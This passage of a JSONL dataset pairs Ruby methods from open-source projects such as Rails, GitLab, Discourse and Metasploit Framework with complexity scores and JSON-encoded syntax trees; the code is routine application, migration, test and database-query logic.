g\"]},\"without_source\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"system_config\"]},\"log_event_verbose\"]},\"nil?\"]},null,{\"type\":\"ivasgn\",\"children\":[\"@log_event_verbose\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"system_config\"]},\"log_event_verbose\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@root_agent\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RootAgent\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"log\"]},{\"type\":\"send\",\"children\":[null,\"log\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"system_config\"]},{\"type\":\"ivar\",\"children\":[\"@system_config\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_in_parallel\"]},{\"type\":\"lvar\",\"children\":[\"start_in_parallel\"]}]}]}]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"ac140b15-74d1-4743-b010-17e612d45c42"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/whatsapp/phone_number_normalization_service.rb","start_line":32,"raw_source":"def find_existing_contact_inbox(normalized_waid)\n    inbox.contact_inboxes.find_by(source_id: normalized_waid)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"find_existing_contact_inbox\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"normalized_waid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inbox\"]},\"contact_inboxes\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_id\"]},{\"type\":\"lvar\",\"children\":[\"normalized_waid\"]}]}]}]}]}","id":"01309676-46f0-4834-9cdd-8c650430b607"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/enum_test.rb","start_line":193,"raw_source":"def test_works_with_activerecord_enum\n    model = PostgresqlEnum.create!\n    model.current_mood_okay!\n\n    model = PostgresqlEnum.find(model.id)\n    assert_equal \"okay\", model.current_mood\n\n    model.current_mood = \"happy\"\n    model.save!\n\n    model = PostgresqlEnum.find(model.id)\n    assert_predicate model, :current_mood_happy?\n  end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_works_with_activerecord_enum\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"model\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostgresqlEnum\"]},\"create!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"current_mood_okay!\"]},{\"type\":\"lvasgn\",\"children\":[\"model\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostgresqlEnum\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"okay\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"current_mood\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"current_mood=\",{\"type\":\"str\",\"children\":[\"happy\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"save!\"]},{\"type\":\"lvasgn\",\"children\":[\"model\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostgresqlEnum\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"model\"]},{\"type\":\"sym\",\"children\":[\"current_mood_happy?\"]}]}]}]}","id":"12ee1bf0-8a0f-4491-a8d1-6e7d82068de8"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/onebox/layout_support.rb","start_line":9,"raw_source":"def layout\n      @layout ||= Layout.new(self.class.onebox_name, data)\n    end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"layout\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@layout\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Layout\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"onebox_name\"]},{\"type\":\"send\",\"children\":[null,\"data\"]}]}]}]}","id":"11529c42-c38a-4bd4-a490-3791ae8acebe"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/fulfilment_changer.rb","start_line":138,"raw_source":"def handle_stock_counts?\n      current_shipment.order.completed? && current_stock_location != desired_stock_location\n    end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_stock_counts?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_shipment\"]},\"order\"]},\"completed?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_stock_location\"]},\"!=\",{\"type\":\"send\",\"children\":[null,\"desired_stock_location\"]}]}]}]}","id":"24bd1a1a-443a-4d06-86c3-94a78daee327"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/auth/dependency_proxy_authentication_service.rb","start_line":26,"raw_source":"def secret\n        strong_memoize(:secret) do\n          OpenSSL::HMAC.hexdigest(\n            'sha256',\n            ::Gitlab::Encryption::KeyProvider[:db_key_base].encryption_key.secret,\n            HMAC_KEY\n          )\n        end\n      end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"secret\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"secret\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"HMAC\"]},\"hexdigest\",{\"type\":\"str\",\"children\":[\"sha256\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Encryption\"]},\"KeyProvider\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"db_key_base\"]}]},\"encryption_key\"]},\"secret\"]},{\"type\":\"const\",\"children\":[null,\"HMAC_KEY\"]}]}]}]}","id":"45cc784e-5902-47a1-9a06-1a8ac5e5eb97"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/url_helper.rb","start_line":707,"raw_source":"def convert_options_to_data_attributes(options, html_options)\n          if html_options\n            html_options = html_options.stringify_keys\n            html_options[\"data-remote\"] = \"true\" if link_to_remote_options?(options) || link_to_remote_options?(html_options)\n\n            method = html_options.delete(\"method\")\n\n            add_method_to_attributes!(html_options, method) if method\n\n            html_options\n          else\n            link_to_remote_options?(options) ? { \"data-remote\" => \"true\" } : {}\n          end\n        end","complexity_score":16.8,"ast_json":"{\"type\":\"def\",\"children\":[\"convert_options_to_data_attributes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]},{\"type\":\"arg\",\"children\":[\"html_options\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html_options\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"html_options\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html_options\"]},\"stringify_keys\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"link_to_remote_options?\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[null,\"link_to_remote_options?\",{\"type\":\"lvar\",\"children\":[\"html_options\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html_options\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"data-remote\"]},{\"type\":\"str\",\"children\":[\"true\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"method\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html_options\"]},\"delete\",{\"type\":\"str\",\"children\":[\"method\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]},{\"type\":\"send\",\"children\":[null,\"add_method_to_attributes!\",{\"type\":\"lvar\",\"children\":[\"html_options\"]},{\"type\":\"lvar\",\"children\":[\"method\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"html_options\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"link_to_remote_options?\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data-remote\"]},{\"type\":\"str\",\"children\":[\"true\"]}]}]},{\"type\":\"hash\",\"children\":[]}]}]}]}","id":"69df0ca6-b07c-4512-87a7-7084307de974"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/branches_finder.rb","start_line":23,"raw_source":"def names\n    @params[:names].presence\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"names\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"names\"]}]},\"presence\"]}]}","id":"9622490f-9cc6-4c29-a195-602df8cf9b5f"}
{"repo_name":"forem","file_path":"./repos/forem/db/migrate/20180508200948_remove_un_used_attributes_from_models.rb","start_line":2,"raw_source":"def change\n    remove_column :articles, :boosted\n    remove_column :articles, :github_path\n    remove_column :articles, :image_jpg_quality\n    remove_column :articles, :intro_html\n    remove_column :articles, :programming_category\n    remove_column :articles, :sponsor_id\n    remove_column :articles, :sponsor_showing\n\n    remove_column :comments, :link_id\n    remove_column :comments, :article_conversion_inquiry\n    remove_column :comments, :article_conversion_lost\n    remove_column :comments, :article_conversion_won\n\n  end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"articles\"]},{\"type\":\"sym\",\"children\":[\"boosted\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"articles\"]},{\"type\":\"sym\",\"children\":[\"github_path\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"articles\"]},{\"type\":\"sym\",\"children\":[\"image_jpg_quality\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"articles\"]},{\"type\":\"sym\",\"children\":[\"intro_html\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"articles\"]},{\"type\":\"sym\",\"children\":[\"programming_category\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"articles\"]},{\"type\":\"sym\",\"children\":[\"sponsor_id\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"articles\"]},{\"type\":\"sym\",\"children\":[\"sponsor_showing\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"comments\"]},{\"type\":\"sym\",\"children\":[\"link_id\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"comments\"]},{\"type\":\"sym\",\"children\":[\"article_conversion_inquiry\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"comments\"]},{\"type\":\"sym\",\"children\":[\"article_conversion_lost\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"comments\"]},{\"type\":\"sym\",\"children\":[\"article_conversion_won\"]}]}]}]}","id":"07ad8698-8a41-4241-b30d-bf9be28a6102"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/seeders/demo_data/work_package_seeder.rb","start_line":261,"raw_source":"def estimated_hours\n        attributes[\"estimated_hours\"]&.to_i\n      end","complexity_score":3.8,"ast_json":"{\"type\":\"def\",\"children\":[\"estimated_hours\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attributes\"]},\"[]\",{\"type\":\"str\",\"children\":[\"estimated_hours\"]}]},\"to_i\"]}]}","id":"b549bbad-b187-4f05-8ee3-9de8382be1f3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/releases/create_evidence_worker.rb","start_line":19,"raw_source":"def perform(release_id, pipeline_id = nil)\n      release = Release.find_by_id(release_id)\n\n      return unless release\n\n      pipeline = Ci::Pipeline.find_by_id(pipeline_id)\n\n      ::Releases::CreateEvidenceService.new(release, pipeline: pipeline).execute\n    end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"release_id\"]},{\"type\":\"optarg\",\"children\":[\"pipeline_id\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"release\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Release\"]},\"find_by_id\",{\"type\":\"lvar\",\"children\":[\"release_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"release\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"pipeline\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"Pipeline\"]},\"find_by_id\",{\"type\":\"lvar\",\"children\":[\"pipeline_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Releases\"]},\"CreateEvidenceService\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"release\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pipeline\"]},{\"type\":\"lvar\",\"children\":[\"pipeline\"]}]}]}]},\"execute\"]}]}]}","id":"53a9a2d6-9b19-450b-98fd-3dab621e2551"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/order/checkout.rb","start_line":199,"raw_source":"def self.add_transition(options)\n            self.next_event_transitions << { options.delete(:from) => options.delete(:to) }.merge(options)\n          end","complexity_score":6.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"add_transition\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"next_event_transitions\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"from\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"to\"]}]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"c68ac1da-9ab8-41e1-8e5b-a66d6da73271"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/migrations/lock_retry_mixin.rb","start_line":24,"raw_source":"def with_lock_retries_used?\n            # regular AR migrations don't have this,\n            # only ones inheriting from Gitlab::Database::Migration have\n            return false unless migration.respond_to?(:with_lock_retries_used?)\n\n            migration.with_lock_retries_used?\n          end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"with_lock_retries_used?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"migration\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"with_lock_retries_used?\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"migration\"]},\"with_lock_retries_used?\"]}]}]}","id":"a519c2d5-be74-44ee-aa9d-8d891f664cea"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/authorization/query_transformation_visitor.rb","start_line":45,"raw_source":"def accept(ast)\n    applied_transformations.clear\n\n    super\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"accept\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ast\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"applied_transformations\"]},\"clear\"]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"5735c0bb-190f-4a3b-88be-f01faff19d59"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/jobs/mass_award_badge_spec.rb","start_line":53,"raw_source":"def execute_job(user, count: 1, grant_existing_holders: false)\n      subject.execute(\n        user: user.id,\n        badge: badge.id,\n        count: count,\n        grant_existing_holders: grant_existing_holders,\n      )\n    end","complexity_score":6.25,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_job\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"kwoptarg\",\"children\":[\"count\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"kwoptarg\",\"children\":[\"grant_existing_holders\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subject\"]},\"execute\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"badge\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"badge\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"lvar\",\"children\":[\"count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"grant_existing_holders\"]},{\"type\":\"lvar\",\"children\":[\"grant_existing_holders\"]}]}]}]}]}","id":"d7cd81b7-907a-4113-a704-ef4900adedbb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/namespace_settings/assign_attributes_service.rb","start_line":68,"raw_source":"def handle_default_branch_protection\n      # We are migrating default_branch_protection from an integer\n      # column to a jsonb column. While completing the rest of the\n      # work, we want to start translating the updates sent to the\n      # existing column into the json. Eventually, we will be updating\n      # the jsonb column directly and deprecating the original update\n      # path. Until then, we want to sync up both columns.\n      protection = Gitlab::Access::BranchProtection.new(settings_params.delete(:default_branch_protection).to_i)\n      settings_params[:default_branch_protection_defaults] = protection.to_hash\n    end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_default_branch_protection\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"protection\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Access\"]},\"BranchProtection\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"settings_params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"default_branch_protection\"]}]},\"to_i\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"settings_params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"default_branch_protection_defaults\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"protection\"]},\"to_hash\"]}]}]}]}","id":"6c8df09d-0f60-45a1-9c8a-0845b310233c"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/integration_test.rb","start_line":733,"raw_source":"def test_keeps_uncommon_ports_in_host\n    get \"http://test.com:123\"\n    assert_equal \"test.com:123\", @request.env[\"HTTP_HOST\"]\n\n    get \"http://test.com:443\"\n    assert_equal \"test.com:443\", @request.env[\"HTTP_HOST\"]\n\n    get \"https://test.com:80\"\n    assert_equal \"test.com:80\", @request.env[\"HTTP_HOST\"]\n  end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_keeps_uncommon_ports_in_host\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"http://test.com:123\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"test.com:123\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HTTP_HOST\"]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"http://test.com:443\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"test.com:443\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HTTP_HOST\"]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"https://test.com:80\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"test.com:80\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HTTP_HOST\"]}]}]}]}]}","id":"2bf617b7-6dc9-4e9b-bead-0e28b54baf98"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/milestone_responses.rb","start_line":83,"raw_source":"def milestone_issuables_for(parent, type)\n          milestone = parent.milestones.find(params[:milestone_id])\n\n          finder_klass, entity = get_finder_and_entity(type)\n\n          params = build_finder_params(milestone, parent)\n\n          issuables = finder_klass.new(current_user, params).execute.with_api_entity_associations\n          present paginate(issuables), with: entity, current_user: current_user\n        end","complexity_score":21.4,"ast_json":"{\"type\":\"def\",\"children\":[\"milestone_issuables_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parent\"]},{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"milestone\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"milestones\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"milestone_id\"]}]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"finder_klass\"]},{\"type\":\"lvasgn\",\"children\":[\"entity\"]}]},{\"type\":\"send\",\"children\":[null,\"get_finder_and_entity\",{\"type\":\"lvar\",\"children\":[\"type\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"send\",\"children\":[null,\"build_finder_params\",{\"type\":\"lvar\",\"children\":[\"milestone\"]},{\"type\":\"lvar\",\"children\":[\"parent\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"issuables\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"finder_klass\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]},\"execute\"]},\"with_api_entity_associations\"]}]},{\"type\":\"send\",\"children\":[null,\"present\",{\"type\":\"send\",\"children\":[null,\"paginate\",{\"type\":\"lvar\",\"children\":[\"issuables\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"lvar\",\"children\":[\"entity\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]}]}]}","id":"06bfeaf7-d2bd-4b7d-b7df-609da142f9e8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/db_manager/note.rb","start_line":24,"raw_source":"def notes(opts)\n    ::ApplicationRecord.connection_pool.with_connection {\n      # If we have the ID, there is no point in creating a complex query.\n      if opts[:id] && !opts[:id].to_s.empty?\n        return Array.wrap(Mdm::Note.find(opts[:id]))\n      end\n\n      wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)\n      opts = opts.clone()\n      opts.delete(:workspace)\n\n      data = opts.delete(:data)\n      search_term = opts.delete(:search_term)\n      results = wspace.notes.includes(:host).where(opts)\n\n      # Compare the deserialized data from the DB to the search data since the column is serialized.\n      unless data.nil?\n        results = results.select { |note| note.data == data }\n      end\n\n      if search_term && !search_term.empty?\n        re_search_term = /#{search_term}/mi\n        results = results.select { |note|\n          note.attribute_names.any? { |a| note[a.intern].to_s.match(re_search_term) }\n        }\n      end\n      results\n    }\n  end","complexity_score":67.8,"ast_json":"{\"type\":\"def\",\"children\":[\"notes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ApplicationRecord\"]},\"connection_pool\"]},\"with_connection\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"to_s\"]},\"empty?\"]},\"!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"wrap\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mdm\"]},\"Note\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"wspace\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Util\"]},\"DBManager\"]},\"process_opts_workspace\",{\"type\":\"lvar\",\"children\":[\"opts\"]},{\"type\":\"send\",\"children\":[null,\"framework\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"clone\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"workspace\"]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"search_term\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"search_term\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"results\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wspace\"]},\"notes\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"host\"]}]},\"where\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"if